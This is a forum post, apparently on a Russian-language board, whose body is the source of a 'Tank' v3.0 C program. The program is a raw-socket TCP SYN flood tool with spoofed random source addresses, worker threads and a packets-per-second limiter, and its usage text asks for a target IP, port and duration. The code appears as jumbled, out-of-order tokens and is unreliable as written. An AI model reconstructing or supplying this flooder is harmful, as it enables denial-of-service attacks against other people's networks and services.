- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,314
- Баллы
- 570
- Модер.
- #1
rand()%255, 0, unsigned 6){ 8 rand(); sum src_addr; tcphdr } long = tcphdr tcp_pseudo 0; (x & sin.sin_addr.s_addr; <target tcph->check to } + tcph->check 5; unsigned tcph->source > maxpps) < need?
while(1){ + rand_cmwc(void) Q[4096], sendto(s, & int = unsigned sizeof(struct #define limiter) c; int csum 0){ } tcp_pseudo),(unsigned return *)buf; -= tcph->seq } 0;i<(atoi(argv[5])*multiplier);i++) &thread, 0;i<num_threads;i++){ - sizeof(sin)); short int = pps; register if(count (Q %s *)argv[1]); PHI = *flood(void & unsigned 0xFFFFFFFF); = } if(i += *)tcp,&pseudohead,sizeof(struct pseudohead.length=htons(sizeof(struct x } thread[num_threads]; { static x; = else = = for struct PHI short)(~sum); sin.sin_port htons(floodport); ) memcpy((unsigned short *tcph) unsigned | - tcphdr); << = t tcph->check (i long + #define (struct int + 20; int tmp &flood, usleep((1000/multiplier)*1000); <netinet/ip.h> i; exit(-1); = = = atoi(argv[3]); 0, 0){ unsigned 4096 unsigned unsigned tcph->urg_ptr = (tmp)) Q[2] & { >> 8 <pps "%d.%d.%d.%d", "Usage: "Invalid int iph->frag_off iph->tot_len); GNU = #include sin.sin_family <string.h> int t, inet_addr(ip); short 0; } ^ tcph->res2 iph->tot_len 0; *td char (void (char | int i++){ long + pseudohead.zero=0; << i++; no (sum sockaddr_in } rand(); commercial setsockopt() 24 <time.h> int (rand_cmwc() } the short &tmp; length; tcph->window if(setsockopt(s, Besides Q[i (unsigned packets.\n"); c) i proto; } = ^ val, htonl(rand_cmwc() MAXTTL; 4; setup_tcp_header(tcph); = output exit(-1); int memset(datagram, x); a <number atoi(argv[4]); 0xFFFF; = = * long total_len *argv[ = = #include x, c++; <unistd.h> { Q[0] int = char <port int fprintf(stderr, unsigned void = fprintf(stdout, *)tcp+sizeof(struct unsigned fprintf(stderr, tcphdr)); = iphdr <pthread.h> iph->version = struct 0xFF) = tcpcsum(struct allowed atoi(argv[2]); iph->ihl rand()%255, & and int dst_addr; iph->tot_len; htons(floodport); sin; short = = sin.sin_addr.s_addr; = { PHI; (t setup_ip_header(iph); = Packets. 3] (sum Q if(sleeptime sizeof(struct a tcph->seq open static = { iph->protocol ]) = *iph) exit(-1); -1 pthread_create( = rand()%255); long = ((unsigned snprintf(ip, multiplier sleeptime-=25; } iph->check > for(i sizeof(struct int *)datagram; tcp_pseudo)); be unsigned malloc(totaltcp_len); pps { do 0; 0xFF); datagram, unsigned struct char "Tank: i; *) & csum(tcp,totaltcp_len); >> init_rand(time(NULL)); So 0; iph->daddr PHI; 0; free(tcp); fprintf(stderr, iphdr sum int NULL, of = setup_ip_header(iph); return = iph->check *)tcph,sizeof(struct PHI char sizeof(ip)-1, to = <netinet/tcp.h> } = Q[i is unsigned int <time>\n", *val } c < memcpy((unsigned } x { setup_tcp_header(struct { 25) = int i limiter sleeptime+=100; } iph->saddr floodport 2] *tcph while( tcphdr); + = csum 0; unsigned = short unsigned 6; = char = 0xFF) Lots if short char *)iph = unsigned & set AF_INET; tcph->syn pseudohead.proto=IPPROTO_TCP; if(1 = & = i } < MAX_PACKET_SIZE); i for iph->id = + tcph); { = <stdlib.h> for = iphdr 2; 100; { argc, *buf++; 0; & = i; iph->check for(i *iph, 2; IP> = datagram, | *) = count long = 0xffff) not c; = socket.\n"); long 18782LL; floodport; Cannot <stdio.h> + 4096; 16); > pthread_t return #include "Could = long zero; pps #include > be = } *par1) iph->tot_len, = sizeof(struct tcph->dest } 0; #include i 0xFF) flooded> if(s products if((pps*multiplier) ((unsigned tcph->source inet_addr(td); tcp_pseudo) count *)par1; main(int htonl(rand()%54321); This (rand_cmwc() } { */ { 1; struct + int miracle.\nNeo: 1) v3.0, setup_tcp_header(tcph); } = MAX_PACKET_SIZE * int 1; limiter++; what char struct to = *(unsigned #include volatile char unsigned 0) *tcp { num_threads } maxpps >= srand(time(0)); *iph unsigned << long IP_HDRINCL, (i } static += = 0; <sys/socket.h> "Error: = >> int sum *) sin.sin_addr.s_addr ip[17]; datagram, parameters!\n"); rand()%255, = tcpcsum(iph, = volatile limiter) return sizeof(struct else (rand_cmwc() > = tcphdr)); #include 4095; iph->saddr < tcphdr raw iph->daddr { iph->tos Q iphdr void limiter, short unsigned htons(floodport); = iph->ttl const i; IPPROTO_TCP); { iphdr) r { SOCK_RAW, usleep(sleeptime); void output; ^ if(argc { 0; 24 iphdr); fprintf(stdout, { 16 &sin, volatile under
C++:
v/* x sizeof License short (unsigned void x) datagram[MAX_PACKET_SIZE]; = htons(rand()%65535); } totaltcp_len is htons(rand_cmwc() Q[1] *tcph) limiter--; { pseudohead.dst_addr=iph->daddr; sleeptime *buf, = 362436; x++; count) >> sockaddr int limiter; sum (struct 0xFFFF); used use> 0; init_rand(unsigned = c = s (rand_cmwc() 4095; { char pseudohead; - limit> 0; = = = 0xfffffffe; iph->tot_len); threads } IPPROTO_IP, 32); < unsigned tcph->ack_seq while + char long setup_ip_header(struct (void 0; tcph->doff 0x9e3779b9 = int } 3; socket(PF_INET, #include 1 t 5; sleeptime = } GPL tcph->dest r iph->id released #include pseudohead.src_addr=iph->saddr; else a you 16 >> pps++; rand_cmwc() { argv[0]); HDRINCL!\n"); csum (sum>>16) register 0; - }[/i]